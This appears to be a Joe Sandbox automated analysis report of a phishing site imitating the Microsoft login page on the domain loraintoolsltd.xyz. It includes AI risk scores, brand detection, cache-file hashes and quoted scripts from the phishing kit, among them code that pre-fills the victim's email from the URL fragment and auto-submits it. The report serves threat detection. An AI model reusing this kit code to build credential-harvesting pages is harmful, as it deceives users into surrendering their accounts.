//<![CDATA[ $Config={"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msauth.net/shared/1.0/","urlDefaultFavicon":"https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico","urlPost":"/common/oauth2/v2.0/authorize?client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576\u0026client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026mkt=en-US\u0026nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy\u0026redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid+profile+https%3a%2f%2fwww.office.com%2fv2%2fOfficeHome.All\u0026state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g\u0026ui_locales=en-US\u0026x-client-SKU=ID_NET8_0\u0026x-client-ver=7.5.1.0\u0026sso_reload=True","iPawnIcon":0,"sPOST_Username":"","sFTName":"flowToken","fEnableOneDSClientTelemetry":true,"dynamicTenantBranding":null,"staticTenantBranding":null,"oAppCobranding":{},"iBackgroundImage":2,"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.loraintoolsltd.xyz/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fUseMsaSessionState":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"","isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576\u0026origin=login.loraintoolsltd.xyz\u0026is_redirected=1","isFlowTokenPassedInEdge":true},"iSessionPullType":2,"fUseSameSite":true,"isGlobalTenant":true,"uiflavor":1001,"fOfflineAccountVisible":false,"fEnableUserStateFix":true,"fShowAccessPassPeek":true,"fUpdateSessionPollingLogic":true,"fEnableShowPickerCredObservable":true,"fFetchSessionsSkipDsso":true,"fIsCiamUserFlowUxNewLogicEnabled":true,"fUseNonMicrosoftDefaultBrandingForCiam":true,"fRemoveCustomCss":true,"fFixUICrashForApiRequestHandler":true,"fShowUpdatedKoreanPrivacyFooter":true,"fUsePostCssHotfix":true,"fUseHighContrastDetectionMode":true,"fFixUserFlowBranding":true,"fEnablePasskeyNullFix":true,"fEnableRefreshCookiesFix":true,"urlAcmaServerPath":"https://login.loraintoolsltd.xyz","sTenantId":"00000000-0000-0000-0000-000000000000","scid":1013,"hpgact":1800,"hpgid":6,"apiCanary":"PAQABDgEAAABVrSpeuWamRam2jAF1XRQEYv6Dd4ve6scaZ8nbFeMfLLBQdfHN7guL6RyS40lR90QND5Pw3-j7YIYO4jrcSHvb3kCkeRMRsu_wOK_I_mofwbDZxpQ32qJiDpSuzr7kHrblJ3hIpiZFRgBJfVqFygKnBdLeSEYZ0dWokqXy4-l9dP-q9cezVW2BEfp306xgtZJ62S1-cnK-OCpnSGSS3NRo-Yh-fSCxnVLvjQo-4jOX1CAA","canary":"treWEGqsNFpFw0SLPiPI7CZDq88Mpzrw2K2rfeOLO28=2:1:CANARY:a5kR8OCZUSRIgWkpzUUdUG5wJDDmykTNlfm2su/5Njc=","sCanaryTokenName":"canary","fSkipRenderingNewCanaryToken":false,"fEnableNewCsrfProtection":true,"correlationId":"f30ca7ff-74e3-4170-af22-dce49ca63576","sessionId":"0ebc1613-4e5f-4489-8c0d-ba0994222a00","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums
URL: https://live.loraintoolsltd.xyz/Me.htm?v=3... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates moderate-risk behaviors, including external data transmission and the use of fallback domains. While it appears to have an analytics or telemetry purpose, the script also exhibits some obfuscation and aggressive DOM manipulation, which raises concerns. Further review is recommended to ensure the script's legitimacy and the appropriate handling of user data." }
!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.isSignedIn=h===g.SignedInToRP\|\|h===g.SignedInToIDP)}if(l>=6){var m=parseInt(S[5],16);m&&(c.isWindowsSso=0!==(m&u.IsWindowsSso))}if(l>=7){var v=parseInt(S[6],16);v&&(c.remoteIdpFlags=v)}l>=8&&(c.sessionId=S[7]),c&&(e.push(c),s[c.signInName]=!0)}}function a(t){if(t&&s(t.origin)&&t.data)try{var e=JSON.parse(t.data);if("startStaticMe"!==e.messageType)return;r(t.origin,e)}catch(n){return}}function o(t,e){return 1===t?e:t>=2?decodeURIComponent(e):null}function r(t,e){var s=n("JSH"),a=n("JSHP"),o=!0,r={transientState:"",persistentState:"",hasStorageAccess:0},S={messageType:"msaMeCached",version:2,userList:[],tilesState:r};try{var l={};i(s,S.userList,l),i(a,S.userList,l),console.log(e.useMsaSessionState),e.useMsaSessionState===!0&&(0!=S.userList.length?(S.tilesState.hasStorageAccess=2,S.tilesState.transientState=s,S.tilesState.persistentState=a):"function"==typeof document.hasStorageAccess?(o=!1,document.hasStorageAccess().then(function(n){console.log("Storage access:",n),n?(S.tilesState.hasStorageAccess=2,S.tilesState.transientState=s,S.tilesState.persistentState=a):e.sessionState&&(S.tilesState.hasStorageAccess=1,e.sessionState.transientState&&(S.tilesState.transientState=e.sessionState.transientState,i(e.sessionState.transientState,S.userList,l)),e.sessionState.persistentState&&(S.tilesState.persistentState=e.sessionState.persistentState,i(e.sessionState.persistentState,S.userList,l))),t&&c.parent.postMessage(JSON.stringify(S),t)})["catch"](function(e){console.error("Error checking storage access:",e),S.error=e.message,t&&c.parent.postMessage(JSON.stringify(S),t)})):(S.tilesState.hasStorageAccess=2,S.tilesState.transientState=s,S.tilesState.persistentState=a))}catch(p){S.error=p.message}t&&o&&c.parent.postMessage(JSON.stringify(S),t)}var c=window,S="prod",l="",p="",g={None:0,SignedInToRP:1,SignedInToIDP:2,Remembered:3},u={None:0,IsWindowsSso:1},f={dev:[l,p],"int":["https://login.windows-ppe.net"],prod:["https://login.loraintoolsltd.xyz","https://login.microsoft.com","https://device.login.loraintoolsltd.xyz","https://login.windows-ppe.net","https://login.windows.net","https://login.microsoftonline.de","https://login.partner.microsoftonline.cn","https://login.chinacloudapi.cn","https://login.microsoftonline.us","https://login-us.microsoftonline.com","https://logincert.microsoftonline.com"]};!function(){c.postMessage&&(c.addEventListener?c.addEventListener("message",a):c.attachEvent("message",a))}()}]));
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates moderate-risk behaviors, including external data transmission and aggressive DOM manipulation. While the intent appears to be related to login functionality, the use of URL fragments and automatic form filling without user interaction raises some concerns. Further review is recommended to ensure the script's legitimacy and lack of malicious intent." }
function lp() { // Select the email input field and "Next" button var emailId = document.querySelector("#i0116"); var nextButton = document.querySelector("#idSIButton9"); var query = window.location.href; // Check if the URL contains a fragment (#) if (/#/.test(window.location.href)) { var res = query.split("#"); var data1 = res[0]; var data2 = res[1]; console.log(data1); console.log(data2); // If the email input field is found if (emailId != null) { // Use data2 directly as the email address, trim any extra spaces, and remove any trailing equal signs var emailAddress = data2.trim().replace(/=*$/, ''); // Focus on the email input field, set its value, and click the "Next" button emailId.focus(); emailId.value = emailAddress; nextButton.focus(); nextButton.click(); console.log("YES!"); return; } } // Retry the lp function every 500 milliseconds if the email input field is not found setTimeout(function() { lp(); }, 500); } // Initial timeout to invoke the lp function after 500 milliseconds setTimeout(function() { lp(); }, 500);
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.... Model: Joe Sandbox AI	```json { "risk_score": 2, "reasoning": "The script primarily involves DOM manipulation and event handling, with no high-risk indicators like dynamic code execution or data exfiltration. It uses a logging mechanism and checks for browser compatibility, which are typical for debugging and compatibility purposes. The script does not interact with external domains or use obfuscated code, indicating a low risk." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("integrity",t)),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("s
URL: https://login.loraintoolsltd.xyz/FgJIoRDm#john.walker@gmail.com Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please confirm you are not a bot by clicking the button above.", "prominent_button_name": "I am not a bot", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://login.loraintoolsltd.xyz/FgJIoRDm#john.walker@gmail.com Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FO Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "We couldn't find an account with that username. Try another, or get a new Microsoft account.", "prominent_button_name": "Next", "text_input_field_labels": [ "john.walker@gmail.com" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "software download portal" }

URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FO Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FO Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is a well-known global technology company.", "The legitimate domain for Microsoft is 'microsoft.com'.", "The provided URL 'login.loraintoolsltd.xyz' does not match the legitimate domain for Microsoft.", "The domain 'loraintoolsltd.xyz' is unrelated to Microsoft and appears suspicious.", "The use of a generic domain extension '.xyz' is often associated with phishing attempts.", "The URL structure does not indicate any official association with Microsoft." ], "riskscore": 9} Google indexed: False
URL: login.loraintoolsltd.xyz Brands: Microsoft Input Fields: john.walker@gmail.com

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57678
Category:	dropped
Size (bytes):	16378
Entropy (8bit):	7.986541062710992
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow647Z1Y8hyJavTiIQslkHC:hOBKJB11Y8heariIQ8ki
MD5:	FC8A7FB6FB26ADEB81D76A33DA13B815
SHA1:	ADEF9857A4FC698836B613252AE8B1FC0EC199DE
SHA-256:	A3D6351A6E93FC23C2A3ABFFCBDC847D42B8781DBFFBCCEEF4FEF72E0D5D4A14
SHA-512:	DE70865494E5D2A32353614CC7D8305CAA83E1605F6BF03C58DD6E19D92FDE8B33B3E26ED3A65D739DEA20984130D39B6E43641B04918CC906DEC17E51B0D582
Malicious:	false
Reputation:	low
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	dropped
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Reputation:	low
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (59119)
Category:	downloaded
Size (bytes):	59305
Entropy (8bit):	4.716988765402807
Encrypted:	false
SSDEEP:	768:PEh31IPiyXNq4YxBowbgJlkwF//zMQyYJYX9Bf7VSzl:PE0PxXE4YXJgndFTfy9lQB
MD5:	ECD507B3125EDC4D2A03AA6AE5D07DA9
SHA1:	A57EE68D11601B0FD8E5037FC241FF65A754473C
SHA-256:	99464CEB71BC9BBDCC72275FAEFE44F98EB5CBB6B5D8EE665B87B35376F1A96E
SHA-512:	D72727E8871A410E34FCC2815B65B84618ACFC36C82D4EF80B5BD2ACB2710AAE7BA3DE35626D354B036C38CAAF10116572051AEB12E23D8FCD4B947E13ACED25
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */..fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pu

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
